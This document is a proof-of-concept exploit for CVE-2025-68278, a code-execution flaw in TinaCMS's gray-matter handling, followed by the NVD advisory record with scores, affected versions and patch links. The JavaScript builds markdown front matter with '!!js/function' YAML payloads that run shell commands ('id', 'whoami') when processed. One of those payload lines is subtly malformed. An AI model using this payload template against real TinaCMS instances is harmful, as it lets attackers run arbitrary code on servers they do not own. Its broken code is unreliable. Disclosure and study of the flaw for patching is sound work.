CVE-2025-68278

// CVE-2025-68278 PoC - TinaCMS gray-matter Remote Code Execution // Create a malicious markdown file with embedded JavaScript code const fs = require('fs'); const maliciousMarkdown = `--- title: Malicious Post author: Attacker date: 2025-01-01 payload: !!js/function | function(){ const { execSync } = require('child_process'); // Execute arbitrary command const result = execSync('id > /tmp/pwned.txt').toString(); return result; } --- # Normal Content This is a legitimate blog post content. `; // Write the malicious file to be processed by TinaCMS fs.writeFileSync('malicious-post.md', maliciousMarkdown); console.log('Malicious markdown file created: malicious-post.md'); // Alternative PoC using gray-matter directly const matter = require('gray-matter'); const exploitContent = `--- code: !!js/function "function(){require('child_process').exec('whoami')()}" --- `; try { const result = matter(exploitContent); console.log('Exploit executed! Result:', result); } catch (e) { console.log('Error during exploitation:', e.message); } // Note: This PoC demonstrates the vulnerability principle. // Real exploitation requires uploading the markdown file to a vulnerable TinaCMS instance.

{"cve": {"id": "CVE-2025-68278", "sourceIdentifier": "[email protected]", "published": "2025-12-18T16:15:57.347", "lastModified": "2026-04-10T17:34:56.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tina is a headless content management system. In tinacms prior to version 3.1.1, tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code. tinacms version 3.1.1, @tinacms/cli version 2.0.4, and @tinacms/graphql version 2.0.3 contain a fix for the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ssw:tinacms:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.1.1", "matchCriteriaId": "7B931BF1-087F-48AB-BFFD-EB79ECD109A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ssw:tinacms\\/cli:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.4", "matchCriteriaId": "72C28F51-81C7-48AC-8592-0FFBEB597904"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ssw:tinacms\\/graphql:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.3", "matchCriteriaId": "DB258056-8964-4C38-AA9A-C0AF9386FABB"}]}]}], "references": [{"url": "https://github.com/tinacms/tinacms/commit/fa7c27abef968e3f3a3e7d564f282bc566087569", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-529f-9qwm-9628", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}